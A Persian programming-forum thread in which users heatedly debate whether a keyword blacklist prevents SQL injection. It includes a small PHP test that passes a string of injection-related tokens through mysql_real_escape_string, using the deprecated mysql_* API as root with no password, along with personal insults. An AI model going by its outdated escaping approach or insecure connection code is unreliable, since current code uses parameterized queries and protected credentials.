یعنی مثلا یه کاربری میخواد کامنت بزنه کلا بهتره زبان انگلیسی رو بیخیال شه و با زبان روسی کامنت بزنه. این مضحک نیست؟ یه بچه هم میتونه بفهمه که اشتباه کرده.
یا مثلا همین کاراکترها چطور در همین فروم درج شدن؟ توی دیتابیس نرفتن؟ چرا بلک لیست نشدن؟ فروم هک شد؟ برنامه نویساش بی سواد و احمق بودن؟

این حرفا یعنی چی. ورودی که کاربر ارسال میکنه فقط باید اون چیزی باشه که برنامه نویس میخواد. اصلا ورودی یعنی چی؟ کدوم ورودی؟ کی؟ کجا؟ شما که انتظار نداری برای یک ورودی که برای یک کوئری حساس نوشته میشه کدهای SQL داشته باشی؟ مثلا گفتید:


مرد حسابی توی لیستی که میبینی بیشترشون علامتها و کلمات عادی و مورد نیاز در زبان انگلیسی هستن. حالا چون در دستورات SQL هم استفاده میشن ما باید اونا رو بلاک کنیم؟ پس مردم دیگه به چه زبانی چی تایپ کنن؟ مثلا شما نمیتونی اسم کاربری خودت رو بذاری General Sajjad؟ نمیتونی دو خط کامنت انگلیسی بنویسی؟ نمیتونی در جمله هات از علامتگذاری استاندارد زبان انسانی استفاده کنی؟
and where are you from

چی میگی شما؟ ربطی نداره. ورودی تا ورودی فرق داره دوست من. نوع های داده ای برای Injection فرق داره. یه جا Integer، یه جا String و ... فکر میکنید میان با زبان من درآوردی Inject میکنن؟ فکر میکنید برای Query زدن میان به جای "from" از "فرام" استفاده میکنن؟
شما حرف کامنت دادن رو پیش میکشید؟ ما گفتیم ورودی تا ورودی، Query تا Query.....
شما برای کامنت دادن مجازی از تگ script استفاده کنی؟ اگه مجازی یه سند بده بینم که پشت پرده از strip_tags یا htmlspecialchars استفاده نشده باشه و اونها رو escape نکنه. البته بازم میگم ورودی تا ورودی....



این چیزی که طرف ما گذاشته بلک لیست نیست، این طرف اومده هرچی هکر تایپ کرده رو چپونده توی بلک لیست. مثلا هکر اگر درخلال یه جلسهء هک پیام میداد که «من میرم دستشویی بعد میام بقیهء سایتتون رو هم هک میکنم» ایشون تمام این کلمات رو هم میذاشت توی بلک لیست!



آخه کجای کلمهء and و general و غیره و غیره خطرناکه و اینا جزو دستورات SQL هستن؟ اینا جزو همه چیز هستن، زبان انسانی، زبانهای برنامه نویسی و خیلی چیزهای دیگه.

مگه قراره فقط کلماتی که در SQL هستن Block بشن؟ پس WAF ها که اکثرشون با C نوشته شدن چی میشه؟
دوست عزیز بازم میگم ورودی که کاربر درج میکنه باید ورودی مورد انتظار برنامه نویس باشه. روی این موضوع اگه برنامه نویس هستید فکر کنید.....



روش ولیدیت کردن این پارامتر استفاده از چنین بلک لیست هایی نیست و هیچ ضرورتی در این کار نمیبینم. شما مورد معتبر و منبعی برای توصیهء این روش پیدا کردید ما رو هم خبر کنید! منکه تاحالا چنین چیزی ندیدم.



خلاصه یخورده تجربه داشته باشید و به خودتون فشار بیارید و فکر کنید متوجه میشید که اون بلک لیست اصلا مفهوم و کاربرد خاصی نداره و عملا غیرقابل استفاده هست.


ای سفسطه ها چیه دیگه؟ اینا همش نظرات شخصی شماست که به خاطر همون احساست هست و هیچ تعقلی در اون نیست.
BlackList ها استفاده نمیشه؟ شما ندید تاحالا؟ پس این PHPIDS چیه؟ اصلا میدونید چیه؟ چیکار میکنه؟ چطوری کار میکنه؟

پ ن: کلا نمیخوستم تو این تاپیک پستی بدم چون این تاپیک فاقد هرگونه ارزش علمی هستش. اگر دوستان مایل هستن خودشون ادامه بدن. یا علی

رضا قربانی
چهارشنبه 19 مرداد 1390, 17:36 عصر
داداش eshpilen (http://barnamenevis.org/member.php?148005-eshpilen) باز که قاطی کردی . بابا بی خی خی . ما اگه بخواییم به تمام حرف های دیگران اتکا کنیم که هیچ موقع پیشرفت نمی کنیم . هر کسی یه نظری داره . هر کسی خودش رو یه طوری سرزنش می کنه و با مشکلات کنار میاد و اطلاعات کسب می کنه . به خدا اگر این وقتی که شما صرف نوشتن در این زمینه های بیهوده می کنید و حرس می خورید می تونید یک هفته ای یک سایت کامل تحویل مردم بدید و کلی هم سود کنید . یه کم به این موضوع فکر کن.

مبحث هک و امنیت خیلی گسترده هست و اصلا نمی شه با این چیزایی که رد و بدل می شه سر و هم کرد .

در کل ادامه نداشته باشه بهتره

موفق باشید

eshpilen
چهارشنبه 19 مرداد 1390, 18:45 عصر
چی میگی شما؟ ربطی نداره. ورودی تا ورودی فرق داره دوست من. نوع های داده ای برای Injection فرق داره. یه جا Integer، یه جا String و ... فکر میکنید میان با زبان من درآوردی Inject میکنن؟ فکر میکنید برای Query زدن میان به جای "from" از "فرام" استفاده میکنن؟
شما حرف کامنت دادن رو پیش میکشید؟ ما گفتیم ورودی تا ورودی، Query تا Query.....

منکه گفتم جاهای دیگه هم به این شکل با یه بلک لیست ولیدیت نمیکنن. چون این بلک لیست هرچقدر هم که بزرگ باشه بقول خودتون تمام موارد رو دربر نمیگیره.
شما یه مثال بزن بگو کجا باید ازش استفاده کنیم تا روش درست ولیدیت کردن رو بهت بگم.
یه مثال عملی بزن.
من مثال زیاد میتونم بزنم که این بلک لیست کاربردی نداره. در هر زمینه ای.
مثلا: page1.php?bgcolor=rand
در این مورد بلک لیست مورد نظر بدردی نمیخوره.
در کامنت ها هم به هیچ دردی نمیخوره.
اصلا در هیچ کجا بدردی نمیخوره.
ضمنا بحث سر SQL Inject بوده و این بلک لیست رو برای اون کاربرد ارائه کرده. اما اصلا شما یک مورد بیار که میتونیم ازش استفاده کنیم و روش بهتر و اصولی تری نداره.


شما برای کامنت دادن مجازی از تگ script استفاده کنی؟ اگه مجازی یه سند بده بینم که پشت پرده از strip_tags یا htmlspecialchars استفاده نشده باشه و اونها رو escape نکنه. البته بازم میگم ورودی تا ورودی....نخیر escape کردن با بلک لیست فرق میکنه قربان. ضمنا اگر منظورشون Escape کردن بوده، میشه شما بفرمایید عباراتی مثل General و Length و کلی کلمه و علامت دیگه ای رو که میبینیم چطوری Escape میکنن؟! (میدونم لابد میگی به Entity تبدلیشون میکنیم).
اصلا شما تاحالا جایی دیدید چنین کلماتی رو Escape بکنن؟ اگر در کامنت کاربر که در دیتابیس ذخیره میشه و دوباره در صفحه HTML به کاربران نمایش داده میشه این کلمات مجاز هستن و هیچ Escape ای هم روشون صورت نمیگیره، پس جای دیگه هم همینطوره و به خودی خود هیچ خطری ندارن. میشه شما بفرمایید کجا کدوم حمله از طریق اینها صورت میگیره و فرقش با مورد کامنت چیه که نیاز به کار بیشتری داره؟
این کلمات نه نیازی هست بلاک یا حذف بشن و نه نیازی هست Escape بشن. در SQL Injection مشکل فقط با یکسری کاراکترهای خاص هست که در هنگام ترکیب رشته ای در یک کوئری باعث انتقال از حالت داده ای به حالت دستورات SQL میشن که اونا رو هروقت بخوایم در کوئری درج کنیم Escape میکنیم یا در بعضی کاربردها هم میتونیم کلا حذف/بلاک کنیم.


دوست عزیز بازم میگم ورودی که کاربر درج میکنه باید ورودی مورد انتظار برنامه نویس باشه. روی این موضوع اگه برنامه نویس هستید فکر کنید.....صحبت اصلا این نبوده. معلومه که ورودی باید مورد انتظار باشه، اما روشهای دیگری داره و این بلک لیست تقریبا در تمام موارد یا عملا غیرقابل استفاده هست یا ضرورتی نداره و یا اصلا امنیت رو تامین نمیکنه.
گفتم که شما یک مورد از کاربردش رو بصورت نمونهء واقعی ذکر کنید تا بگم راه حل صحیحش چی هست.
مثلا در چه موردی؟ فرض کن شما میگی یک پارامتر URL. خب پارامتر چی هست مثلا کجا بکار میره؟ یه مثال بذار. مثل اونی که من گذاشتم. ما هر داده ای رو میتونیم خیلی راحتتر و با روشهای اصولی تری محدود کنیم. در جاهایی هم که نباید محدودیت باشه این بلک لیست اگر بخواد اجرا بشه عملا محدودیت بیش از حد بوجود میاد و اگر هم بگیم باید Escape کنیم بازم به دلایلی که در بالا توضیح دادم این ادعا کاملا مبهم و نامفهوم هست و ما موردی از اون رو نمیبینیم. مثلا در مورد کامنت که گفتم هیچ Escape ای روی این کلمات صورت نمیگیره و کسی هم تاحالا نگفته مشکلی داره و سایتی هم از این بابت هک نشده؛ اگر بعضیا هم هک شدن ضعف اونا در پیاده سازی روش اصلی و اصولی بوده، نه اینکه بگیم راهش استفاده از این بلک لیست بوده و استفاده نکردن. هرکس هم تونست یه مورد نشون بده که چطور با صرف حذف نشدن یا Escape نشدن این کلمات میتونن از روشهای استاندارد Escape عبور کرده و کدی رو اجرا کنن خیلی ازش ممنون خواهیم شد و بنده شخصا به اشتباهم اعتراف خواهم کرد.


پس این PHPIDS چیه؟ اصلا میدونید چیه؟ چیکار میکنه؟ چطوری کار میکنه؟بله دیدم. خب که چی؟ اگر PHPIDS بخواد صرفا بر اساس این بلک لیست عمل بکنه باید نصف سایت تعطیل بشه که! پس حتما مکانیزم هوشمندتری داره و نیاز به شرایط خاصی همراه با هم هست، نه اینکه تا به یکی از کلمات و علامتهای خیلی متداول و عادی این لیست که هرجایی ممکنه بکار برن برخورد کرد بلاک کنه!
تازه همون PHPIDS هم میتونه بعضی جاها دردسر ساز باشه. مثل همون ماجول امنیتی آپاچی که بهتون گفتم و باعث شده بود نتونیم در یک فروم لینوکسی یکسری اطلاعات و کدهای ساده و کاملا مربوط به لینوکس رو درج کنیم. چون مثلا توی کدت اگر /tmp هم میدید پستت بلاک میشد.
بنابراین این روشها هرجایی بدرد نمیخورن. و روش بلاک لیست کاربر مورد نظر هم که کلا تقریبا هیچ کجا بدرد نمیخوره!
شما PHPIDS رو با این مقایسه میکنید؟ میشه بگید شباهتشون چیه؟ شباهتشون فقط ظاهری هست. نمونهء این بلک لیست کجای PHPIDS بکار میره؟ بعد چطوری کار میکنه؟ فرضا یه چیزی شبیه اینم در PHPIDS باشه، ولی چه ربطی داره که یه تیکه از یه برنامه و الگوریتم رو بعنوان راهکار عمومی در اینجا ارائه کنن؟ چون مسلما چنین کدی کاملا ناقص هست و بدون اجزای دیگر برنامهء خودش و الگوریتم دقیقی که ازش استفاده میکنه هیچ کاربرد و معنایی نداره.
امیدوارم منظور اون شخص رو تحریف نکنید.
ایشون یک بلک لیست ارائه کرده و میگه برای جلوگیری از SQL Injection. بعد شما اونو با PHPIDS مقایسه میکنید؟ میدونید حجم و پیچیدگی PHPIDS چقدر هست؟
ما الان با بلک لیست ایشون بالاخره باید چکار کنیم؟ چطوری اجراش کنیم؟ چیزهایی رو که توش هست بلاک یا حذف کنیم؟ Escape کنیم؟ هردو روش رو هم که گفتم مفهوم خاصی نداره. روش بلاک/حذف کردن که بیش از حد محدودیت زا هست و حتی درمورد کاربردهایی هم که گزینه های محدودی دارن روش استاندارد و اصولی اصلی نیست و امنیتی رو تامین نمیکنه (شاید بهبود بده اما هیچوقت به 100% نمیرسه). اگر روشهای استاندارد هرجایی رو استفاده کنید هیچ نیازی به این بلک لیست نیست. درمورد Escape کردن هم که گفتم چرا غیرضروری هست.
اگر هم با PHPIDS مقایسه میفرمایید پس بفرمایید ما چطور بر اساس چه الگوریتمی از این بلک لیست باید استفاده کنیم که معنا و کاربردی داشته باشه!
PHPIDS چیکار میکنه؟ هروقت به کلمهء general برخورد کرد صفحه رو بلاک میکنه؟
تازه PHPIDS که اساسا اگر اینطور بخواد کار کنه خیلی بدتر میشه، چون PHPIDS اصلا دست برنامه نویس نیست و بین پارامترها و کاربردها تفاوتی قائل نمیشه (یعنی حالیش نیست یه فیلدی برای کامنت هست یا نام کاربری یا پارامترهای داخلی برنامه) و فقط توی برنامه قبل از چیزهای دیگه میذاریش و چک میکنه آیا الگوهای حمله در دیتای GET, POST, Cookie وجود دارن یا خیر. بنابراین اگر بخواد صرفا بر اساس وجود یکی از این کلمات و علامتها عمل کنه، در 90% موارد باید برنامه بلاک بشه!!
حالا خوبه بنده بر حسب تصادف قبلا یه نگاهی به این PHPIDS که میفرمایید انداخته بودم و میدونم کلیتش چیه و چطور استفاده میشه و چیکار میکنه.

eshpilen
چهارشنبه 19 مرداد 1390, 19:15 عصر
مبحث هک و امنیت خیلی گسترده هست و اصلا نمی شه با این چیزایی که رد و بدل می شه سر و هم کرد .


شما تا اینجا میری اما چرا به بقیش نمیرسی؟!
بله دقیقا بخاطر گستردگی و پیچیدگی این مبحث، کسی که ادعا و روشی رو مطرح میکنه باید توضیحات و مستندات کافی بده تا بشه پیگیری کرد واقعا اون روش چطور کار میکنه، چطور باید استفاده کرد، کجا باید استفاده کرد، و دید اصلا صحیح هست و امنیت رو تا چه حدی تامین میکنه.
درحالیکه طرف ما هیچکدام از این کارها رو نکرده و فقط یه ادعایی کرده و یه چیز خیلی کلی و مبهم گذاشته، همراه با چنتا کد هک که اصلا سر و تهشون معلوم نیست که چطور ربطی به این قضیه دارن و بلک لیست مورد نظر رو بعنوان راه حل ثابت میکنن.
بله مسلم هست اگر ما اینهمه کلمه و علامت رو بلاک یا Escape کنیم جلوی اون حمله ها رو میگیره (البته بلاک کردن که اصولا بیشتر جاها غیرمنطقی و غیرممکن هست)، اما قضیه اینه که راه حلهای استاندارد با یه لیست خیلی مختصرتر هم همین کار رو میکنن و یه چیزایی مثل کلمات ساده ای مثل General در هیچ جایی در هیچ دیتابیسی به خودی خودشون خطرناک نیستن. هیچ دیتابیسی اینطوری نیست که نتونی کلمهء General و from و and و غیره رو در یک فیلد همینطوری درج کنی.
ضمنا وقتی میگیم Black list تاجایی که بنده دیدم همیشه منظور حذف کردن یا اجازه ندادن بوده، نه Escape کردن.
مدیر محترم لطف کردن یه راه فرار و توجیه برای طرف باز کردن (Escape کردن بجای حذف/بلاک کردن). هرچند ثابت میکنیم که اونم یه کار بیهوده هست و هیچ منبع معتبری چنین راهکاری ارائه نکرده و در هیچ نرم افزار معروفی استفاده نمیشه (شما نمونه پیدا کردید ما رو هم خبر کنید).


در کل ادامه نداشته باشه بهترهاگر بنده از این مطالب ایراد نمیگرفتم احتمالا هیچکس دیگر هم چیزی نمیگفت.
بعد خیلی آدمهای مبتدی و ناشی و ساده هستن که اینطور مطالب رو باور میکنن و سعی میکنن ازش استفاده کنن. بنظر شما این درسته یا اینکه ما اون رو به چالش کشیدیم؟
برای چی بیشتر روش بحث نکنیم.

یه چیز رو فراموش نکنید.
مطلبی تا ثابت نشه، با سند یا با استدلال روشن یا با نمونهء عملی، هیچ اعتباری نداره.
همینطوری یکی اومد هرچی گفت که نمیشه دیگران ازش تبعیت کنن. شاید طرف اشتباه میکنه.
مگر ما بیکاریم و داریم اینجا کتاب داستان میخونیم که هرکس مطلبی بزنه و فقط بخونیم و نفهمیم و مطمئن نشیم و چیزی هم نگیم؟ هدف اون شخص از درج این مطالب چی بوده؟ درج رمان؟ هدفش اگر استفادهء دیگران بوده باشه خب باید مطلب رو بصورت اصولی و کامل و قابل اتکا بذاره و ثابتش کنه یا امکان پیگیری و به نتیجه رسیدن داشته باشه. غیر از اینه؟

eshpilen
چهارشنبه 19 مرداد 1390, 20:24 عصر
ببینید منم ممکنه اشتباه بکنم، ولی دیگه اینقدر چلغوز نیستم همینطوری هرکس چیزی گفت قبول کنم یا نتونم ایرادی بگیرم و سند و استدلال و اثبات بخوام. افلیج هم نیستم میتونم روی خیلی چیزها تست هم بکنم.
ولی متاسفانه بقیه انگار اصلا نمیتونن فرق درست و نادرست و مطلب اصولی و غیراصولی رو تشخیص بدن.

یه ادعای دیگر این فرد رو بررسی میکنیم و بهش گیر میدیم:


من هم میدونم تابع mysql_real_escape_string یه بانک کامل داره.
...
خود mysql_real_escape_string هم با بلک لیست چک میکنه و Valid میشن. فقط پشت صحنست.

حالا این ادعا رو از کجا آورده من نمیدونم. سندش کجاست؟ بعدم اگر چنین دیتابیسی وجود داره و استفاده میشه روی ورودی ما بر این اساس چکار میکنه و آیا نمیشه تاثیرش رو مشاهده کرد؟
چیزی که رفرنس رسمی گفته کاملا روشنه. تعداد معدودی کاراکتر خاص توسط این تابع Escape میشن. هیچ چک و تغییر دیگری توسط این تابع انجام نمیشه؛ اگر میشد نباید در رفرنس میامد؟
تازه میتونید رفرنس تابع اصلی رو که در خود MySQL اجرا میشه رو هم نگاه کنید:
http://dev.mysql.com/doc/refman/5.0/en/mysql-real-escape-string.html
اونجا هم چیزی غیر از این نگفته.

بنده یک مورد تست انجام دادم:

<?php

header("Content-type: text/plain");

$link = mysql_connect('localhost', 'root', '');
if (!$link) {
die('Could not connect: ' . mysql_error());
}

$str="general from ' \" \\ where sys if + -- . || ( int hex MD5 dual null information mysql.help_topic information_schema.tables nvarchar db_name version tables delete convert 0x %0A";

echo "Before escaping:\n\n", $str;

echo "\n\n";

echo "After escaping:\n\n", mysql_real_escape_string($str);

?>
کلی از کلمات و کاراکترهایی رو که ایشون بلک لیست کردن توش گذاشتم تا تست کنیم ببینیم mysql_real_escape_string باهاشون چکار میکنه.
نتیجه رو میتونید خودتون ببینید. mysql_real_escape_string فقط با چند کاراکتر از بین معدودی کاراکتر که معرف همگان هست کار داره و اونا رو بوسیلهء بک اسلش Escape میکنه. یعنی در این مثال فقط کاراکترهای کوتیشن و بک اسلش رو کار داره و بغیر از اونا دیگه نه هیچ کاراکتر یا کلمه ای حذف میشه و نه Escape.
اونوقت این دیتابیس کذایی چطور شامل هیچکدام از اینهمه کاراکتر و عبارت مثلا خطرناک نبوده و هیچ اثر و نقشی ازش دیده نمیشه شما خودتون بگید چرا!

میدونید وقتی یه نفر اینقدر حرفای بی پایه و عجیب میزنه آدم باید چه فکری بکنه؟
بعدم چرا پیداش نشد و بحث رو پیگیری نکرد؟
یاد اون طرفی میفتم که چند وقت پیش یه بحث دیگری درمورد امنیت باهاش داشتم و گفتم اگر میخوای بهت ثابت میکنم فلان روش کاملا اشتباه هست و هیچ امنیتی ایجاد نمیکنه، اما دیگه پیداش نشد. جالب اینه یکی هم این وسط اومد گفت یعنی تیم امنیتی آشیانه با اینهمه سابقه و اعتبار اشتباه میکنن! بجای اینکه بخوان مطلب پیگیری و روشن بشه انگار که بهرصورت از این بحثها و تست ها چیزی نمیفهن و فقط میخوان پیرو کور دیگران باشن و نهایتش دنبال یه منبعی میگردن که اسمی داشته باشه. و این یعنی یه سطح خیلی پایین در درک و تخصص برنامه نویسی. بنظر من اگر از عهدهء این چیزا برنمیایید اصلا برنامه نویس نشید! چون صلاحیتش رو ندارید. وقتی خودتون نمیتونید طرز کار رو کامل و دقیق درک کنید، نمیتونید تست کنید، نمیتونید ایراد بگیرید، نمیتونید پیگیری کنید، نمیتونید بحث و تحلیل اصولی انجام بدید، شما اصلا برنامه نویس نیستید. پشمک هستید! یک شبه برنامه نویس.
بله همیشه احتمال اشتباه برای هرکسی هست، اما این ضعفها و انفعال ما رو توجیه نمیکنه.
وقتی نتونیم همچین چیزهای بزرگ و عجیبی رو زیر سوال ببریم، یعنی دقیقا هیچی نمیفهمیم.

eshpilen
چهارشنبه 19 مرداد 1390, 21:12 عصر
به خدا اگر این وقتی که شما صرف نوشتن در این زمینه های بیهوده می کنید و حرس می خورید می تونید یک هفته ای یک سایت کامل تحویل مردم بدید و کلی هم سود کنید . یه کم به این موضوع فکر کن.

بنده شغل ثابتی که در ارتباط با برنامه نویسی نیست دارم. همونقدر چندرغاز که درمیارم فعلا برام کافیه.
هنوز میخوام بیشتر یاد بگیرم و تا حد ممکن به همه چیز تا حداکثری که ممکن هست مسلط بشم.
بحثش پولش به کنار، بنظر شما این سایتها رو درست کردن حالا خیلی شاهکار و مفیده؟
اینطور کارها رو همه انجام میدن. بنده اگر میخواستم اینکاره بشم و فقط دنبال پولش باشم میتونستم خیلی موفق بشم. ولی این یه کار محدود و سطح پایینی هست از نظر بنده. و ظرفیت خودم رو بیشتر از این دیدم و میخواستم کاملتر و قوی تر از این حرفا باشم.
این سایتها رو حتی یکسری جوجه ها هم بالاخره سمبل میکنن و ظاهرا کار میکنه و قشنگ هم هست.
امنیتش رو هم بالاخره با همین روشها و کورکورانه کم و بیش سرهم میکنن و تحویل میدن.
ولی واقعا برنامه نویسی خیلی گسترده تر و عمیق تر از این حرفهاست. برای من دانستن و توانستن واقعی ارزش داره، نه اینکه پول زیاد دربیارم و یا چند نفر سطح پایینتر یا هم‌سطح ازم تعریف کنن و بگن کارش درسته، به بابا عجب سایتی درست کردی و غیره. دوتا از این مقاله ها که هیچ، ده برابر بهترش رو هم میتونم هر روز سرهم کنم که اسم و رسمی بهم بزنم. میتونم وبلاگ و سایت بزنم. میتونم شاگرد خصوصی بگیرم.
ولی همهء اینا اون چیزایی رو که من میخوام بهم نمیدن. و مسلم بدونید صرفا با اینا کسی نمیتونه همه چیز رو بدونه و بتونه.
اینکه گیر میدم باعث میشه ابهام و سردرگمی ای که برام پیش میاد به حداقل برسه و بدونم باید مطلب رو چقدر جدی بگیرم و به جایی میرسه یا نه. چون در هرچیزی بالاخره ممکنه بخشهای درست یا اطلاعات مفیدی پیدا بشه. تا طرف رو به چالش نکشی و سمج نشی که نمیتونی مطمئن بشی تا حد ممکن پیگیری کردی.
ضمنا از یه طرف کسی نیست به این موارد گیر بده. یجورایی بنده احساس میکنم وظیفه دارم اگر چیزی میدونم یا به فکرم میرسه و احساس میکنم چیزی ناقص یا اشتباه هست، به روشن شدن جو عمومی در اون مورد کمک کنم.
اگر بنده به همین مطلب گیر نمیدادم شاید خیلی مسائل برای خیلی ها روشن نمیشد که الان اگر نه بصورت کامل ولی تاحد خیلی بیشتری براشون روشن شده.
اگر بخوای یه آدم کامل باشی باید هرچیزی رو که باهاش سروکار داری کامل و دقیق بدونی. نباید چیزی رو حل نشده بذاری. بنده دیدم آدمهایی رو که مثلا بلد نیستن با رگولار اکسپرشن کار کنن (خودشون صریحا گفتن). این بخاطر چیه؟ و آیا فاجعه نیست برای یک برنامه نویس؟ بالاخره باید با سختی ها و پیچیدگی ها روبرو شد، چون اینها پله های ضروری ای هستن که اگر طی نکنید نمیتونید به خیلی چیزهای بعدی دست پیدا کنید. باید مطالعه کرد. خیلی زیاد. اینطور که بنظر میاد خیلی افراد حتی رفرنس بیشتر توابعی رو که روزمره استفاده میکنن با دقت و کامل مطالعه نکردن. خب حالا سایت توسعه دادن این افراد میخواد چطور باشه معلومه. معجزه که نمیشه! میشه؟
اون کاری که این افراد هم میتونن انجام بدن برای من هیچ ارزشی نداره و ملاک نیست. کاربردش فقط همون بحث پولشه. مطمئن باشید آدم وقتی غیراصولی کار کنه هزارتا سایت هم درست کنه پیشرفت دانش و مهارت اصولیش خیلی کم خواهد بود در مقایسه با آدمی که زحمت میکشه و اصولی همه چیز رو یاد میگیره.

Net So
دوشنبه 31 مرداد 1390, 23:52 عصر
eshpilen (http://barnamenevis.org/member.php?148005-eshpilen)
پست های این 3 صفحه شما رو خوندم و فقط باید بگم LOL
3 صفحه خودت پست دادی که چی ؟ به اندازه کافی توهین کردی تو پست هات. اینکه الان بهت چیزی نمیگم صرفا به این خاطره که میدونم سنت زیاد نیست و سواد آکادمیک شاید داشته باشی. سواد عملی و LIVE که صفر هست طبعا.

یعنی یه سطح خیلی پایین در درک و تخصص برنامه نویسی. بنظر من اگر از عهدهء این چیزا برنمیایید اصلا برنامه نویس نشید
تبریک میگم. پس به نصیحت خودت عمل کن وبرنامه نویسی رو بزار کنار. من با System-T سوئیس کار میکنم و امثال تو که فقط حرف میزنند و سطح پایین شعور خودشون رو به نمایش میذارن. باهات بحث نکردم چون خیلی خیلی کوچیکتر از اونی هستی که بخوام باهات بحث کنم.

طرز کار رو کامل و دقیق درک کنید، نمیتونید تست کنید، نمیتونید ایراد بگیرید، نمیتونید پیگیری کنید، نمیتونید بحث و تحلیل اصولی انجام بدید، شما اصلا برنامه نویس نیستید. پشمک هستید! یک شبه برنامه نویس
بیشتر از خوت برامون بگو پشمک LOL
Black List هم چیزی نیست که تو دنیا مطرح کردن ، بعد یکی مثل تو بخواد ردش کنه :D
از اون لیست هم برای Escape و هم برای Remove استفاده میشه. مضاف بر اینکه میدونم معنی خیلی از دستوراتش رو نمیدونی بهت بگم این نه تنها Mysql بلکه Oracle و Sybase و MS رو هم ساپورت میکنه.

amin1softco
سه شنبه 01 شهریور 1390, 01:37 صبح
نزن آقا نزن چرا دارید و چش و چار همدیگه رو در میارید ول کن یقشو نکن ااااااااااااااااااا زشته خوبیت نداره
2 تا برنامه نویس که با هم دعوا نمی کنند
به جای این دعوا ها می گفتین طرز کاربردش چجوری می شه اونم راهنماییتون می کرد اینقدر که دعوا نداشت........................................ ......

eshpilen
سه شنبه 01 شهریور 1390, 08:47 صبح
eshpilen (http://barnamenevis.org/member.php?148005-eshpilen)
پست های این 3 صفحه شما رو خوندم و فقط باید بگم LOL
3 صفحه خودت پست دادی که چی ؟ به اندازه کافی توهین کردی تو پست هات. اینکه الان بهت چیزی نمیگم صرفا به این خاطره که میدونم سنت زیاد نیست و سواد آکادمیک شاید داشته باشی. سواد عملی و LIVE که صفر هست طبعا.

تبریک میگم. پس به نصیحت خودت عمل کن وبرنامه نویسی رو بزار کنار. من با System-T سوئیس کار میکنم و امثال تو که فقط حرف میزنند و سطح پایین شعور خودشون رو به نمایش میذارن. باهات بحث نکردم چون خیلی خیلی کوچیکتر از اونی هستی که بخوام باهات بحث کنم.

بیشتر از خوت برامون بگو پشمک LOL
Black List هم چیزی نیست که تو دنیا مطرح کردن ، بعد یکی مثل تو بخواد ردش کنه :D
از اون لیست هم برای Escape و هم برای Remove استفاده میشه. مضاف بر اینکه میدونم معنی خیلی از دستوراتش رو نمیدونی بهت بگم این نه تنها Mysql بلکه Oracle و Sybase و MS رو هم ساپورت میکنه.
lol
میبینم که بالاخره تشریف آوردید.
ولی جز فرافکنی و جنگ روانی حربه ای نداشتید.
شاید هم کنترل خودتان را از دست داده اید.

مضاف بر اینکه میدونم معنی خیلی از دستوراتش رو نمیدونیدستورات :قهقهه:
lol
اونکه فقط یه لیسته که بیشترش کلمات و کاراکترهای ساده هست و بعضی ها هم کاراکترها و عبارات خاص تر. کدوم دستور؟
شما هنوز حرف زدن دقیق و تخصصی رو بلد نیستی و به کاراکتر و عبارت میگی دستور. بعد ادعای چی میکنید؟ واقعا که مضحکه!
حرف زدن شما دقیقا نشانه های جوجه هکرها رو داره یا به اصطلاح Script kiddie (http://en.wikipedia.org/wiki/Script_kiddies) ها رو.
میگن تا مرد سخن نگفته باشد، عیب و هنرش نهفته باشد.
میترسم آخرش هم این حکایت بشه براتون: آنکس که با داناتر از خود مجادله کند تا بدانند که داناست، همی دانند که نادان است.

بهرحال بنده همچنان منتظر هست و شما رو به تحلیل و اثبات عملی با سند و نمونه کد و تست دعوت میکنم.
اگر در خودتان قابلیتی دیدید تشریف بیاورید ما در خدمتتان هستیم. منتها بصورت دقیق، با توضیحات کافی که بشود واقعا توسط دیگران هم فهم و بررسی و تست شود. با روش علمی و رعایت اصول تخصصی. نه با درج یکسری مطالب بی سر و ته که اصلا معلوم نیست یعنی چه و سند و اثبات عملی ای برایشان وجود ندارد.
مطالبی که شما ارائه کردید هیچکدام از این معیارها را نداشت. از حرف زدنتون هم که معلومه چقدر بارتونه. بعدهم اینکه جز تمسخر و متوسل شدن به چیزهای نامربوط چیز جدیدی ارائه نکردید بازهم نشان از تهی بودن و هراس یا ناتوانی شما در باب پاسخگویی و پیگیری اصولی دارد.


امثال تو که فقط حرف میزنندتو هم تا اینجا دقیقا هیچ کاری نکردی جز حرف زدن و ادعا کردن.
درصورتیکه بنده ادعای خاصی نکردم؛ دراصل مطالب شما رو زیر سوال بردم و به چالش کشیدم و خواستار پیگیری و اثبات و عمل شدم.

--------------------------

ویرایش:
این یکی مقاله رو هم بخون شاید بهت مربوط باشه: http://en.wikipedia.org/wiki/Lamer
واقعا مقالات ویکیپدیا چه روان و کامل توضیح میدن، آدم حال میکنه.

راستی احیانا شما آیدی اصلی دیگری در این سایت ندارید؟

eshpilen
سه شنبه 01 شهریور 1390, 11:14 صبح
بازهم میگم که لیست سیاهی که شما گذاشتید بنظر من هیچ معنایی نداره.
هرچی فکر میکنم معنای خاصی نداره. اومدید هرچی کلمات کلیدی و کاراکتر و علامت بوده هرجایی که در کوئری های SQL یا جای دیگه بکار میرن رو گذاشتید توی بلک لیست (که طبیعتا بیشتر اونا کاراکترها و کلمات کاملا عادی و ضروری زبان انگلیسی هستن). خب ببخشید بعد ما باید چکار کنیم مثلا؟! یه نمونه از کاربرد لیست خودتون رو ارائه بدید و بگید دقیقا باید با کدام فیلد و دیتا چه کار کنیم تا بررسیش کنیم.
شما که میگید ما نمیفهمیم، خب حتی یک مثال عملی کامل براش نمیتونید بیارید؟
منبع و سند هم هیچی.
کلا باد هوا!!

بنظرم بد نباشه مقایسه ای بکنیم با HTML.
فرضا ما در HTML هم حملهء XSS رو داریم.
حالا ما اگر بخوایم این موضوع رو با بلک لیست شما قیاس کنیم باید بیایم بخاطر جلوگیری از XSS علاوه بر تگ script، تمام کاراکترها و کلمات کلیدی جاوااسکریپت رو بذاریم توی بلک لیست. طبیعتا این لیست مشتمل بر کلی از کاراکترها و کلمات عادی زبان انگلیسی خواهد شد، چون بیشتر زبانهای برنامه نویسی از کاراکترها و کلمات عادی زبان استفاده میکنن. بطور مثال ما باید در متن هرجایی alert دیدم حذف کنیم، درحالیکه به معنای هشدار و گوش بزنگ بودن و غیره هست. باید کلمهء document رو هم که به معنی سند هست حذف کنیم. باید window به معنی پنجره رو هم حذف کنیم. و غیره و غیره.
اما این سوال پیش میاد که خب بعد با این بلک لیست چکار کنیم؟ کجا چطور بکار میره؟ این سوالی هست که شما هیچوقت درمورد بلک لیست خودتون جوابی بهش ندادید.

